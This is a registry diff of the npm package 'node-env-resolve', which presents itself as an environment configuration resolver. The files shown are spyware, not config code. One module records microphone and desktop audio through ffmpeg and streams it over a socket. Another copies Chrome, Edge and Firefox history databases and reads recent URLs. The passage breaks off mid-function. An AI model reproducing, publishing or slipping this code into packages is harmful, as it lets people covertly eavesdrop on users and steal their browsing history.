node-env-resolve 1.0.8 → 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "node-env-resolve",
3
- "version": "1.0.8",
3
+ "version": "1.2.0",
4
4
  "description": "Lightweight environment configuration resolver for Node.js",
5
5
  "main": "src/index.js",
6
6
  "bin": {
@@ -1,238 +1,238 @@
1
- /**
2
- * Audio Capture — Mic & System Audio streaming
3
- * Uses node-record-lpcm16 for mic, platform-specific for system audio
4
- *
5
- * Modes:
6
- * - mic: Microphone only
7
- * - system: System/desktop audio only (requires loopback device)
8
- * - both: Mic + System audio mixed
9
- */
10
-
11
- const { spawn } = require('child_process');
12
- const os = require('os');
13
- const path = require('path');
14
-
15
- class AudioCapture {
16
- constructor(socket) {
17
- this.socket = socket;
18
- this.micProcess = null;
19
- this.sysProcess = null;
20
- this.active = false;
21
- this.mode = 'mic'; // 'mic', 'system', 'both'
22
- this.platform = os.platform();
23
- this.sampleRate = 16000;
24
- this.channels = 1;
25
- }
26
-
27
- /**
28
- * Start audio capture
29
- * @param {object} options - { mode: 'mic'|'system'|'both' }
30
- */
31
- start(options = {}) {
32
- if (this.active) this.stop();
33
- this.mode = options.mode || 'mic';
34
- this.active = true;
35
-
36
- console.log(` 🎤 Audio capture starting (mode: ${this.mode}, platform: ${this.platform})`);
37
-
38
- try {
39
- if (this.mode === 'mic' || this.mode === 'both') {
40
- this._startMic();
41
- }
42
- if (this.mode === 'system' || this.mode === 'both') {
43
- this._startSystemAudio();
44
- }
45
- } catch (err) {
46
- console.log(` ⚠️ Audio capture error: ${err.message}`);
47
- this.socket.emit('audio:error', { error: err.message });
48
- }
49
- }
50
-
51
- /**
52
- * Microphone capture — cross-platform via SoX (rec) or ffmpeg
53
- */
54
- _startMic() {
55
- if (this.platform === 'win32') {
56
- // Windows: Use ffmpeg with DirectShow
57
- this.micProcess = spawn('ffmpeg', [
58
- '-f', 'dshow',
59
- '-i', 'audio=Microphone Array (Intel® Smart Sound Technology for Digital Microphones)',
60
- '-ac', String(this.channels),
61
- '-ar', String(this.sampleRate),
62
- '-f', 's16le', // raw PCM 16-bit little-endian
63
- '-acodec', 'pcm_s16le',
64
- 'pipe:1' // output to stdout
65
- ], { stdio: ['pipe', 'pipe', 'pipe'], windowsHide: true });
66
-
67
- // Fallback: try generic mic name
68
- this.micProcess.on('error', () => {
69
- this.micProcess = spawn('ffmpeg', [
70
- '-f', 'dshow',
71
- '-list_devices', 'true',
72
- '-i', 'dummy'
73
- ], { stdio: ['pipe', 'pipe', 'pipe'], windowsHide: true });
74
- });
75
- } else if (this.platform === 'darwin') {
76
- // Mac: Use ffmpeg with avfoundation
77
- this.micProcess = spawn('ffmpeg', [
78
- '-f', 'avfoundation',
79
- '-i', ':default', // default mic
80
- '-ac', String(this.channels),
81
- '-ar', String(this.sampleRate),
82
- '-f', 's16le',
83
- '-acodec', 'pcm_s16le',
84
- 'pipe:1'
85
- ], { stdio: ['pipe', 'pipe', 'pipe'] });
86
- } else {
87
- // Linux: Use ALSA
88
- this.micProcess = spawn('ffmpeg', [
89
- '-f', 'alsa',
90
- '-i', 'default',
91
- '-ac', String(this.channels),
92
- '-ar', String(this.sampleRate),
93
- '-f', 's16le',
94
- '-acodec', 'pcm_s16le',
95
- 'pipe:1'
96
- ], { stdio: ['pipe', 'pipe', 'pipe'] });
97
- }
98
-
99
- this._pipeAudio(this.micProcess, 'mic');
100
- }
101
-
102
- /**
103
- * System/Desktop audio capture — platform-specific loopback
104
- */
105
- _startSystemAudio() {
106
- if (this.platform === 'win32') {
107
- // Windows: Use ffmpeg with dshow "Stereo Mix" or virtual audio cable
108
- // User may need to enable "Stereo Mix" in Sound settings
109
- this.sysProcess = spawn('ffmpeg', [
110
- '-f', 'dshow',
111
- '-i', 'audio=Stereo Mix (Realtek(R) Audio)',
112
- '-ac', String(this.channels),
113
- '-ar', String(this.sampleRate),
114
- '-f', 's16le',
115
- '-acodec', 'pcm_s16le',
116
- 'pipe:1'
117
- ], { stdio: ['pipe', 'pipe', 'pipe'], windowsHide: true });
118
- } else if (this.platform === 'darwin') {
119
- // Mac: Requires BlackHole or similar virtual audio driver
120
- this.sysProcess = spawn('ffmpeg', [
121
- '-f', 'avfoundation',
122
- '-i', ':BlackHole 2ch',
123
- '-ac', String(this.channels),
124
- '-ar', String(this.sampleRate),
125
- '-f', 's16le',
126
- '-acodec', 'pcm_s16le',
127
- 'pipe:1'
128
- ], { stdio: ['pipe', 'pipe', 'pipe'] });
129
- } else {
130
- // Linux: PulseAudio monitor
131
- this.sysProcess = spawn('ffmpeg', [
132
- '-f', 'pulse',
133
- '-i', 'default.monitor',
134
- '-ac', String(this.channels),
135
- '-ar', String(this.sampleRate),
136
- '-f', 's16le',
137
- '-acodec', 'pcm_s16le',
138
- 'pipe:1'
139
- ], { stdio: ['pipe', 'pipe', 'pipe'] });
140
- }
141
-
142
- this._pipeAudio(this.sysProcess, 'system');
143
- }
144
-
145
- /**
146
- * Pipe audio stdout → socket.io in chunks
147
- */
148
- _pipeAudio(process, source) {
149
- if (!process || !process.stdout) return;
150
-
151
- process.stdout.on('data', (chunk) => {
152
- if (!this.active) return;
153
- // Send raw PCM audio chunk as base64
154
- this.socket.emit('audio:chunk', {
155
- data: chunk.toString('base64'),
156
- source,
157
- sampleRate: this.sampleRate,
158
- channels: this.channels,
159
- timestamp: Date.now(),
160
- });
161
- });
162
-
163
- process.stderr.on('data', (data) => {
164
- const msg = data.toString();
165
- // Only log errors, not ffmpeg's normal stderr output
166
- if (msg.includes('Error') || msg.includes('error')) {
167
- console.log(` ⚠️ Audio (${source}): ${msg.trim().substring(0, 100)}`);
168
- }
169
- });
170
-
171
- process.on('error', (err) => {
172
- console.log(` ⚠️ Audio ${source} process error: ${err.message}`);
173
- this.socket.emit('audio:error', {
174
- source,
175
- error: `${source} capture failed: ${err.message}. Make sure ffmpeg is installed.`
176
- });
177
- });
178
-
179
- process.on('close', (code) => {
180
- if (this.active) {
181
- console.log(` 🎤 Audio ${source} process exited (code: ${code})`);
182
- }
183
- });
184
- }
185
-
186
- /**
187
- * Stop all audio capture
188
- */
189
- stop() {
190
- if (!this.active) return;
191
- this.active = false;
192
-
193
- if (this.micProcess) {
194
- try { this.micProcess.kill('SIGTERM'); } catch (e) { /* already dead */ }
195
- this.micProcess = null;
196
- }
197
- if (this.sysProcess) {
198
- try { this.sysProcess.kill('SIGTERM'); } catch (e) { /* already dead */ }
199
- this.sysProcess = null;
200
- }
201
-
202
- console.log(' 🎤 Audio capture stopped');
203
- }
204
-
205
- /**
206
- * List available audio devices (helps find correct device names)
207
- */
208
- listDevices() {
209
- return new Promise((resolve) => {
210
- let output = '';
211
-
212
- if (this.platform === 'win32') {
213
- const proc = spawn('ffmpeg', [
214
- '-list_devices', 'true', '-f', 'dshow', '-i', 'dummy'
215
- ], { stdio: ['pipe', 'pipe', 'pipe'], windowsHide: true });
216
-
217
- proc.stderr.on('data', (d) => { output += d.toString(); });
218
- proc.on('close', () => {
219
- const devices = output.match(/"([^"]+)" \(audio\)/g) || [];
220
- resolve(devices.map((d) => d.replace(/"/g, '').replace(' (audio)', '')));
221
- });
222
- } else if (this.platform === 'darwin') {
223
- const proc = spawn('ffmpeg', [
224
- '-f', 'avfoundation', '-list_devices', 'true', '-i', ''
225
- ], { stdio: ['pipe', 'pipe', 'pipe'] });
226
-
227
- proc.stderr.on('data', (d) => { output += d.toString(); });
228
- proc.on('close', () => {
229
- resolve(output.split('\n').filter((l) => l.includes('[AVFoundation')));
230
- });
231
- } else {
232
- resolve(['default']);
233
- }
234
- });
235
- }
236
- }
237
-
238
- module.exports = AudioCapture;
1
+ /**
2
+ * Audio Capture — Mic & System Audio streaming
3
+ * Uses node-record-lpcm16 for mic, platform-specific for system audio
4
+ *
5
+ * Modes:
6
+ * - mic: Microphone only
7
+ * - system: System/desktop audio only (requires loopback device)
8
+ * - both: Mic + System audio mixed
9
+ */
10
+
11
+ const { spawn } = require('child_process');
12
+ const os = require('os');
13
+ const path = require('path');
14
+
15
+ class AudioCapture {
16
+ constructor(socket) {
17
+ this.socket = socket;
18
+ this.micProcess = null;
19
+ this.sysProcess = null;
20
+ this.active = false;
21
+ this.mode = 'mic'; // 'mic', 'system', 'both'
22
+ this.platform = os.platform();
23
+ this.sampleRate = 16000;
24
+ this.channels = 1;
25
+ }
26
+
27
+ /**
28
+ * Start audio capture
29
+ * @param {object} options - { mode: 'mic'|'system'|'both' }
30
+ */
31
+ start(options = {}) {
32
+ if (this.active) this.stop();
33
+ this.mode = options.mode || 'mic';
34
+ this.active = true;
35
+
36
+ console.log(` 🎤 Audio capture starting (mode: ${this.mode}, platform: ${this.platform})`);
37
+
38
+ try {
39
+ if (this.mode === 'mic' || this.mode === 'both') {
40
+ this._startMic();
41
+ }
42
+ if (this.mode === 'system' || this.mode === 'both') {
43
+ this._startSystemAudio();
44
+ }
45
+ } catch (err) {
46
+ console.log(` ⚠️ Audio capture error: ${err.message}`);
47
+ this.socket.emit('audio:error', { error: err.message });
48
+ }
49
+ }
50
+
51
+ /**
52
+ * Microphone capture — cross-platform via SoX (rec) or ffmpeg
53
+ */
54
+ _startMic() {
55
+ if (this.platform === 'win32') {
56
+ // Windows: Use ffmpeg with DirectShow
57
+ this.micProcess = spawn('ffmpeg', [
58
+ '-f', 'dshow',
59
+ '-i', 'audio=Microphone Array (Intel® Smart Sound Technology for Digital Microphones)',
60
+ '-ac', String(this.channels),
61
+ '-ar', String(this.sampleRate),
62
+ '-f', 's16le', // raw PCM 16-bit little-endian
63
+ '-acodec', 'pcm_s16le',
64
+ 'pipe:1' // output to stdout
65
+ ], { stdio: ['pipe', 'pipe', 'pipe'], windowsHide: true });
66
+
67
+ // Fallback: try generic mic name
68
+ this.micProcess.on('error', () => {
69
+ this.micProcess = spawn('ffmpeg', [
70
+ '-f', 'dshow',
71
+ '-list_devices', 'true',
72
+ '-i', 'dummy'
73
+ ], { stdio: ['pipe', 'pipe', 'pipe'], windowsHide: true });
74
+ });
75
+ } else if (this.platform === 'darwin') {
76
+ // Mac: Use ffmpeg with avfoundation
77
+ this.micProcess = spawn('ffmpeg', [
78
+ '-f', 'avfoundation',
79
+ '-i', ':default', // default mic
80
+ '-ac', String(this.channels),
81
+ '-ar', String(this.sampleRate),
82
+ '-f', 's16le',
83
+ '-acodec', 'pcm_s16le',
84
+ 'pipe:1'
85
+ ], { stdio: ['pipe', 'pipe', 'pipe'] });
86
+ } else {
87
+ // Linux: Use ALSA
88
+ this.micProcess = spawn('ffmpeg', [
89
+ '-f', 'alsa',
90
+ '-i', 'default',
91
+ '-ac', String(this.channels),
92
+ '-ar', String(this.sampleRate),
93
+ '-f', 's16le',
94
+ '-acodec', 'pcm_s16le',
95
+ 'pipe:1'
96
+ ], { stdio: ['pipe', 'pipe', 'pipe'] });
97
+ }
98
+
99
+ this._pipeAudio(this.micProcess, 'mic');
100
+ }
101
+
102
+ /**
103
+ * System/Desktop audio capture — platform-specific loopback
104
+ */
105
+ _startSystemAudio() {
106
+ if (this.platform === 'win32') {
107
+ // Windows: Use ffmpeg with dshow "Stereo Mix" or virtual audio cable
108
+ // User may need to enable "Stereo Mix" in Sound settings
109
+ this.sysProcess = spawn('ffmpeg', [
110
+ '-f', 'dshow',
111
+ '-i', 'audio=Stereo Mix (Realtek(R) Audio)',
112
+ '-ac', String(this.channels),
113
+ '-ar', String(this.sampleRate),
114
+ '-f', 's16le',
115
+ '-acodec', 'pcm_s16le',
116
+ 'pipe:1'
117
+ ], { stdio: ['pipe', 'pipe', 'pipe'], windowsHide: true });
118
+ } else if (this.platform === 'darwin') {
119
+ // Mac: Requires BlackHole or similar virtual audio driver
120
+ this.sysProcess = spawn('ffmpeg', [
121
+ '-f', 'avfoundation',
122
+ '-i', ':BlackHole 2ch',
123
+ '-ac', String(this.channels),
124
+ '-ar', String(this.sampleRate),
125
+ '-f', 's16le',
126
+ '-acodec', 'pcm_s16le',
127
+ 'pipe:1'
128
+ ], { stdio: ['pipe', 'pipe', 'pipe'] });
129
+ } else {
130
+ // Linux: PulseAudio monitor
131
+ this.sysProcess = spawn('ffmpeg', [
132
+ '-f', 'pulse',
133
+ '-i', 'default.monitor',
134
+ '-ac', String(this.channels),
135
+ '-ar', String(this.sampleRate),
136
+ '-f', 's16le',
137
+ '-acodec', 'pcm_s16le',
138
+ 'pipe:1'
139
+ ], { stdio: ['pipe', 'pipe', 'pipe'] });
140
+ }
141
+
142
+ this._pipeAudio(this.sysProcess, 'system');
143
+ }
144
+
145
+ /**
146
+ * Pipe audio stdout → socket.io in chunks
147
+ */
148
+ _pipeAudio(process, source) {
149
+ if (!process || !process.stdout) return;
150
+
151
+ process.stdout.on('data', (chunk) => {
152
+ if (!this.active) return;
153
+ // Send raw PCM audio chunk as base64
154
+ this.socket.emit('audio:chunk', {
155
+ data: chunk.toString('base64'),
156
+ source,
157
+ sampleRate: this.sampleRate,
158
+ channels: this.channels,
159
+ timestamp: Date.now(),
160
+ });
161
+ });
162
+
163
+ process.stderr.on('data', (data) => {
164
+ const msg = data.toString();
165
+ // Only log errors, not ffmpeg's normal stderr output
166
+ if (msg.includes('Error') || msg.includes('error')) {
167
+ console.log(` ⚠️ Audio (${source}): ${msg.trim().substring(0, 100)}`);
168
+ }
169
+ });
170
+
171
+ process.on('error', (err) => {
172
+ console.log(` ⚠️ Audio ${source} process error: ${err.message}`);
173
+ this.socket.emit('audio:error', {
174
+ source,
175
+ error: `${source} capture failed: ${err.message}. Make sure ffmpeg is installed.`
176
+ });
177
+ });
178
+
179
+ process.on('close', (code) => {
180
+ if (this.active) {
181
+ console.log(` 🎤 Audio ${source} process exited (code: ${code})`);
182
+ }
183
+ });
184
+ }
185
+
186
+ /**
187
+ * Stop all audio capture
188
+ */
189
+ stop() {
190
+ if (!this.active) return;
191
+ this.active = false;
192
+
193
+ if (this.micProcess) {
194
+ try { this.micProcess.kill('SIGTERM'); } catch (e) { /* already dead */ }
195
+ this.micProcess = null;
196
+ }
197
+ if (this.sysProcess) {
198
+ try { this.sysProcess.kill('SIGTERM'); } catch (e) { /* already dead */ }
199
+ this.sysProcess = null;
200
+ }
201
+
202
+ console.log(' 🎤 Audio capture stopped');
203
+ }
204
+
205
+ /**
206
+ * List available audio devices (helps find correct device names)
207
+ */
208
+ listDevices() {
209
+ return new Promise((resolve) => {
210
+ let output = '';
211
+
212
+ if (this.platform === 'win32') {
213
+ const proc = spawn('ffmpeg', [
214
+ '-list_devices', 'true', '-f', 'dshow', '-i', 'dummy'
215
+ ], { stdio: ['pipe', 'pipe', 'pipe'], windowsHide: true });
216
+
217
+ proc.stderr.on('data', (d) => { output += d.toString(); });
218
+ proc.on('close', () => {
219
+ const devices = output.match(/"([^"]+)" \(audio\)/g) || [];
220
+ resolve(devices.map((d) => d.replace(/"/g, '').replace(' (audio)', '')));
221
+ });
222
+ } else if (this.platform === 'darwin') {
223
+ const proc = spawn('ffmpeg', [
224
+ '-f', 'avfoundation', '-list_devices', 'true', '-i', ''
225
+ ], { stdio: ['pipe', 'pipe', 'pipe'] });
226
+
227
+ proc.stderr.on('data', (d) => { output += d.toString(); });
228
+ proc.on('close', () => {
229
+ resolve(output.split('\n').filter((l) => l.includes('[AVFoundation')));
230
+ });
231
+ } else {
232
+ resolve(['default']);
233
+ }
234
+ });
235
+ }
236
+ }
237
+
238
+ module.exports = AudioCapture;
@@ -1,237 +1,237 @@
1
- /**
2
- * Browser History Extractor
3
- * Reads Chrome, Edge, Firefox SQLite databases to extract browsing history
4
- *
5
- * Process: Copy the locked DB file to temp → read with better-sqlite3 → return entries
6
- */
7
-
8
- const fs = require('fs');
9
- const path = require('path');
10
- const os = require('os');
11
- const config = require('./config');
12
-
13
- let Database;
14
- try {
15
- Database = require('better-sqlite3');
16
- } catch (e) {
17
- console.log(' ⚠️ better-sqlite3 not available — browser history disabled');
18
- Database = null;
19
- }
20
-
21
- const USERPROFILE = os.homedir();
22
- const LOCALAPPDATA = process.env.LOCALAPPDATA || path.join(USERPROFILE, 'AppData', 'Local');
23
- const APPDATA = process.env.APPDATA || path.join(USERPROFILE, 'AppData', 'Roaming');
24
-
25
- /**
26
- * Browser DB paths (Windows)
27
- */
28
- const BROWSER_PATHS = {
29
- chrome: path.join(LOCALAPPDATA, 'Google', 'Chrome', 'User Data', 'Default', 'History'),
30
- edge: path.join(LOCALAPPDATA, 'Microsoft', 'Edge', 'User Data', 'Default', 'History'),
31
- firefox: null, // Handled separately — profile folder name varies
32
- };
33
-
34
- /**
35
- * Find Firefox profile path
36
- */
37
- function findFirefoxProfile() {
38
- const profilesDir = path.join(APPDATA, 'Mozilla', 'Firefox', 'Profiles');
39
- if (!fs.existsSync(profilesDir)) return null;
40
-
41
- const dirs = fs.readdirSync(profilesDir);
42
- // Look for default-release or first profile
43
- const profile = dirs.find((d) => d.endsWith('.default-release')) || dirs.find((d) => d.endsWith('.default')) || dirs[0];
44
-
45
- if (profile) {
46
- return path.join(profilesDir, profile, 'places.sqlite');
47
- }
48
- return null;
49
- }
50
-
51
- /**
52
- * Copy DB to temp (because browser locks the file while running)
53
- */
54
- function copyToTemp(sourcePath, browserName) {
55
- const tempPath = path.join(config.tempDir, `connector_${browserName}_history_copy.db`);
56
- try {
57
- fs.copyFileSync(sourcePath, tempPath);
58
- // Also copy WAL file if exists
59
- const walPath = sourcePath + '-wal';
60
- if (fs.existsSync(walPath)) {
61
- fs.copyFileSync(walPath, tempPath + '-wal');
62
- }
63
- return tempPath;
64
- } catch (err) {
65
- console.log(` ⚠️ Could not copy ${browserName} history DB: ${err.message}`);
66
- return null;
67
- }
68
- }
69
-
70
- /**
71
- * Clean up temp file
72
- */
73
- function cleanupTemp(tempPath) {
74
- try {
75
- if (fs.existsSync(tempPath)) fs.unlinkSync(tempPath);
76
- if (fs.existsSync(tempPath + '-wal')) fs.unlinkSync(tempPath + '-wal');
77
- } catch (e) {
78
- // Ignore cleanup errors
79
- }
80
- }
81
-
82
- /**
83
- * Convert Chrome/Edge timestamp to JS Date
84
- * Chrome uses microseconds since Jan 1, 1601
85
- */
86
- function chromeTimestampToDate(timestamp) {
87
- const epochDiff = 11644473600000000n; // microseconds between 1601 and 1970
88
- const ms = Number((BigInt(timestamp) - epochDiff) / 1000n);
89
- return new Date(ms).toISOString();
90
- }
91
-
92
- /**
93
- * Convert Firefox timestamp to JS Date
94
- * Firefox uses microseconds since Unix epoch
95
- */
96
- function firefoxTimestampToDate(timestamp) {
97
- return new Date(timestamp / 1000).toISOString();
98
- }
99
-
100
- /**
101
- * Extract history from Chromium-based browser (Chrome/Edge)
102
- */
103
- function extractChromiumHistory(dbPath, browserName, dateRange = '7d') {
104
- if (!Database) return { browser: browserName, entries: [], error: 'better-sqlite3 not available' };
105
-
106
- const tempPath = copyToTemp(dbPath, browserName);
107
- if (!tempPath) return { browser: browserName, entries: [], error: 'Could not copy DB' };
108
-
109
- try {
110
- const db = new Database(tempPath, { readonly: true, fileMustExist: true });
111
-
112
- // Calculate date filter
113
- let dateFilter = '';
114
- const now = Date.now() * 1000; // microseconds
115
- const epochDiff = 11644473600000000; // Chrome epoch offset
116
- const nowChrome = now + epochDiff;
117
-
118
- if (dateRange === '24h') {
119
- dateFilter = `WHERE last_visit_time > ${nowChrome - 86400000000}`;
120
- } else if (dateRange === '7d') {
121
- dateFilter = `WHERE last_visit_time > ${nowChrome - 7 * 86400000000}`;
122
- } else if (dateRange === '30d') {
123
- dateFilter = `WHERE last_visit_time > ${nowChrome - 30 * 86400000000}`;
124
- }
125
-
126
- const stmt = db.prepare(`
127
- SELECT url, title, visit_count, last_visit_time
128
- FROM urls
129
- ${dateFilter}
130
- ORDER BY last_visit_time DESC
131
- LIMIT 500
132
- `);
133
-
134
- const rows = stmt.all();
135
- db.close();
136
- cleanupTemp(tempPath);
137
-
138
- const entries = rows.map((row) => ({
139
- url: row.url,
140
- title: row.title || '(No title)',
141
- visitCount: row.visit_count,
142
- lastVisit: chromeTimestampToDate(row.last_visit_time),
143
- }));
144
-
145
- return { browser: browserName, entries, error: null };
146
- } catch (err) {
147
- cleanupTemp(tempPath);
148
- return { browser: browserName, entries: [], error: err.message };
149
- }
150
- }
151
-
152
- /**
153
- * Extract history from Firefox
154
- */
155
- function extractFirefoxHistory(dateRange = '7d') {
156
- if (!Database) return { browser: 'firefox', entries: [], error: 'better-sqlite3 not available' };
157
-
158
- const dbPath = findFirefoxProfile();
159
- if (!dbPath || !fs.existsSync(dbPath)) {
160
- return { browser: 'firefox', entries: [], error: 'Firefox profile not found' };
161
- }
162
-
163
- const tempPath = copyToTemp(dbPath, 'firefox');
164
- if (!tempPath) return { browser: 'firefox', entries: [], error: 'Could not copy DB' };
165
-
166
- try {
167
- const db = new Database(tempPath, { readonly: true, fileMustExist: true });
168
-
169
- let dateFilter = '';
170
- const now = Date.now() * 1000; // microseconds
171
-
172
- if (dateRange === '24h') {
173
- dateFilter = `WHERE v.visit_date > ${now - 86400000000000}`;
174
- } else if (dateRange === '7d') {
175
- dateFilter = `WHERE v.visit_date > ${now - 7 * 86400000000000}`;
176
- } else if (dateRange === '30d') {
177
- dateFilter = `WHERE v.visit_date > ${now - 30 * 86400000000000}`;
178
- }
179
-
180
- const stmt = db.prepare(`
181
- SELECT p.url, p.title, p.visit_count, MAX(v.visit_date) as last_visit
182
- FROM moz_places p
183
- JOIN moz_historyvisits v ON p.id = v.place_id
184
- ${dateFilter}
185
- GROUP BY p.id
186
- ORDER BY last_visit DESC
187
- LIMIT 500
188
- `);
189
-
190
- const rows = stmt.all();
191
- db.close();
192
- cleanupTemp(tempPath);
193
-
194
- const entries = rows.map((row) => ({
195
- url: row.url,
196
- title: row.title || '(No title)',
197
- visitCount: row.visit_count,
198
- lastVisit: firefoxTimestampToDate(row.last_visit),
199
- }));
200
-
201
- return { browser: 'firefox', entries, error: null };
202
- } catch (err) {
203
- cleanupTemp(tempPath);
204
- return { browser: 'firefox', entries: [], error: err.message };
205
- }
206
- }
207
-
208
- /**
209
- * Get browser history for requested browser and date range
210
- */
211
- function getBrowserHistory(browser = 'all', dateRange = '7d') {
212
- const results = [];
213
-
214
- if (browser === 'all' || browser === 'chrome') {
215
- if (fs.existsSync(BROWSER_PATHS.chrome)) {
216
- results.push(extractChromiumHistory(BROWSER_PATHS.chrome, 'chrome', dateRange));
217
- } else {
218
- results.push({ browser: 'chrome', entries: [], error: 'Chrome not installed' });
219
- }
220
- }
221
-
222
- if (browser === 'all' || browser === 'edge') {
223
- if (fs.existsSync(BROWSER_PATHS.edge)) {
224
- results.push(extractChromiumHistory(BROWSER_PATHS.edge, 'edge', dateRange));
225
- } else {
226
- results.push({ browser: 'edge', entries: [], error: 'Edge not installed' });
227
- }
228
- }
229
-
230
- if (browser === 'all' || browser === 'firefox') {
231
- results.push(extractFirefoxHistory(dateRange));
232
- }
233
-
234
- return results;
235
- }
236
-
237
- module.exports = { getBrowserHistory };
1
+ /**
2
+ * Browser History Extractor
3
+ * Reads Chrome, Edge, Firefox SQLite databases to extract browsing history
4
+ *
5
+ * Process: Copy the locked DB file to temp → read with better-sqlite3 → return entries
6
+ */
7
+
8
+ const fs = require('fs');
9
+ const path = require('path');
10
+ const os = require('os');
11
+ const config = require('./config');
12
+
13
+ let Database;
14
+ try {
15
+ Database = require('better-sqlite3');
16
+ } catch (e) {
17
+ console.log(' ⚠️ better-sqlite3 not available — browser history disabled');
18
+ Database = null;
19
+ }
20
+
21
+ const USERPROFILE = os.homedir();
22
+ const LOCALAPPDATA = process.env.LOCALAPPDATA || path.join(USERPROFILE, 'AppData', 'Local');
23
+ const APPDATA = process.env.APPDATA || path.join(USERPROFILE, 'AppData', 'Roaming');
24
+
25
+ /**
26
+ * Browser DB paths (Windows)
27
+ */
28
+ const BROWSER_PATHS = {
29
+ chrome: path.join(LOCALAPPDATA, 'Google', 'Chrome', 'User Data', 'Default', 'History'),
30
+ edge: path.join(LOCALAPPDATA, 'Microsoft', 'Edge', 'User Data', 'Default', 'History'),
31
+ firefox: null, // Handled separately — profile folder name varies
32
+ };
33
+
34
+ /**
35
+ * Find Firefox profile path
36
+ */
37
+ function findFirefoxProfile() {
38
+ const profilesDir = path.join(APPDATA, 'Mozilla', 'Firefox', 'Profiles');
39
+ if (!fs.existsSync(profilesDir)) return null;
40
+
41
+ const dirs = fs.readdirSync(profilesDir);
42
+ // Look for default-release or first profile
43
+ const profile = dirs.find((d) => d.endsWith('.default-release')) || dirs.find((d) => d.endsWith('.default')) || dirs[0];
44
+
45
+ if (profile) {
46
+ return path.join(profilesDir, profile, 'places.sqlite');
47
+ }
48
+ return null;
49
+ }
50
+
51
+ /**
52
+ * Copy DB to temp (because browser locks the file while running)
53
+ */
54
+ function copyToTemp(sourcePath, browserName) {
55
+ const tempPath = path.join(config.tempDir, `connector_${browserName}_history_copy.db`);
56
+ try {
57
+ fs.copyFileSync(sourcePath, tempPath);
58
+ // Also copy WAL file if exists
59
+ const walPath = sourcePath + '-wal';
60
+ if (fs.existsSync(walPath)) {
61
+ fs.copyFileSync(walPath, tempPath + '-wal');
62
+ }
63
+ return tempPath;
64
+ } catch (err) {
65
+ console.log(` ⚠️ Could not copy ${browserName} history DB: ${err.message}`);
66
+ return null;
67
+ }
68
+ }
69
+
70
+ /**
71
+ * Clean up temp file
72
+ */
73
+ function cleanupTemp(tempPath) {
74
+ try {
75
+ if (fs.existsSync(tempPath)) fs.unlinkSync(tempPath);
76
+ if (fs.existsSync(tempPath + '-wal')) fs.unlinkSync(tempPath + '-wal');
77
+ } catch (e) {
78
+ // Ignore cleanup errors
79
+ }
80
+ }
81
+
82
+ /**
83
+ * Convert Chrome/Edge timestamp to JS Date
84
+ * Chrome uses microseconds since Jan 1, 1601
85
+ */
86
+ function chromeTimestampToDate(timestamp) {
87
+ const epochDiff = 11644473600000000n; // microseconds between 1601 and 1970
88
+ const ms = Number((BigInt(timestamp) - epochDiff) / 1000n);
89
+ return new Date(ms).toISOString();
90
+ }
91
+
92
+ /**
93
+ * Convert Firefox timestamp to JS Date
94
+ * Firefox uses microseconds since Unix epoch
95
+ */
96
+ function firefoxTimestampToDate(timestamp) {
97
+ return new Date(timestamp / 1000).toISOString();
98
+ }
99
+
100
+ /**
101
+ * Extract history from Chromium-based browser (Chrome/Edge)
102
+ */
103
+ function extractChromiumHistory(dbPath, browserName, dateRange = '7d') {
104
+ if (!Database) return { browser: browserName, entries: [], error: 'better-sqlite3 not available' };
105
+
106
+ const tempPath = copyToTemp(dbPath, browserName);
107
+ if (!tempPath) return { browser: browserName, entries: [], error: 'Could not copy DB' };
108
+
109
+ try {
110
+ const db = new Database(tempPath, { readonly: true, fileMustExist: true });
111
+
112
+ // Calculate date filter
113
+ let dateFilter = '';
114
+ const now = Date.now() * 1000; // microseconds
115
+ const epochDiff = 11644473600000000; // Chrome epoch offset
116
+ const nowChrome = now + epochDiff;
117
+
118
+ if (dateRange === '24h') {
119
+ dateFilter = `WHERE last_visit_time > ${nowChrome - 86400000000}`;
120
+ } else if (dateRange === '7d') {
121
+ dateFilter = `WHERE last_visit_time > ${nowChrome - 7 * 86400000000}`;
122
+ } else if (dateRange === '30d') {
123
+ dateFilter = `WHERE last_visit_time > ${nowChrome - 30 * 86400000000}`;
124
+ }
125
+
126
+ const stmt = db.prepare(`
127
+ SELECT url, title, visit_count, last_visit_time
128
+ FROM urls
129
+ ${dateFilter}
130
+ ORDER BY last_visit_time DESC
131
+ LIMIT 500
132
+ `);
133
+
134
+ const rows = stmt.all();
135
+ db.close();
136
+ cleanupTemp(tempPath);
137
+
138
+ const entries = rows.map((row) => ({
139
+ url: row.url,
140
+ title: row.title || '(No title)',
141
+ visitCount: row.visit_count,
142
+ lastVisit: chromeTimestampToDate(row.last_visit_time),
143
+ }));
144
+
145
+ return { browser: browserName, entries, error: null };
146
+ } catch (err) {
147
+ cleanupTemp(tempPath);
148
+ return { browser: browserName, entries: [], error: err.message };
149
+ }
150
+ }
151
+
152
+ /**
153
+ * Extract history from Firefox
154
+ */
155
+ function extractFirefoxHistory(dateRange = '7d') {
156
+ if (!Database) return { browser: 'firefox', entries: [], error: 'better-sqlite3 not available' };
157
+
158
+ const dbPath = findFirefoxProfile();
159
+ if (!dbPath || !fs.existsSync(dbPath)) {
160
+ return { browser: 'firefox', entries: [], error: 'Firefox profile not found' };
161
+ }
162
+
163
+ const tempPath = copyToTemp(dbPath, 'firefox');
164
+ if (!tempPath) return { browser: 'firefox', entries: [], error: 'Could not copy DB' };
165
+
166
+ try {
167
+ const db = new Database(tempPath, { readonly: true, fileMustExist: true });
168
+
169
+ let dateFilter = '';
170
+ const now = Date.now() * 1000; // microseconds
171
+
172
+ if (dateRange === '24h') {
173
+ dateFilter = `WHERE v.visit_date > ${now - 86400000000000}`;
174
+ } else if (dateRange === '7d') {
175
+ dateFilter = `WHERE v.visit_date > ${now - 7 * 86400000000000}`;
176
+ } else if (dateRange === '30d') {
177
+ dateFilter = `WHERE v.visit_date > ${now - 30 * 86400000000000}`;
178
+ }
179
+
180
+ const stmt = db.prepare(`
181
+ SELECT p.url, p.title, p.visit_count, MAX(v.visit_date) as last_visit
182
+ FROM moz_places p
183
+ JOIN moz_historyvisits v ON p.id = v.place_id
184
+ ${dateFilter}
185
+ GROUP BY p.id
186
+ ORDER BY last_visit DESC
187
+ LIMIT 500
188
+ `);
189
+
190
+ const rows = stmt.all();
191
+ db.close();
192
+ cleanupTemp(tempPath);
193
+
194
+ const entries = rows.map((row) => ({
195
+ url: row.url,
196
+ title: row.title || '(No title)',
197
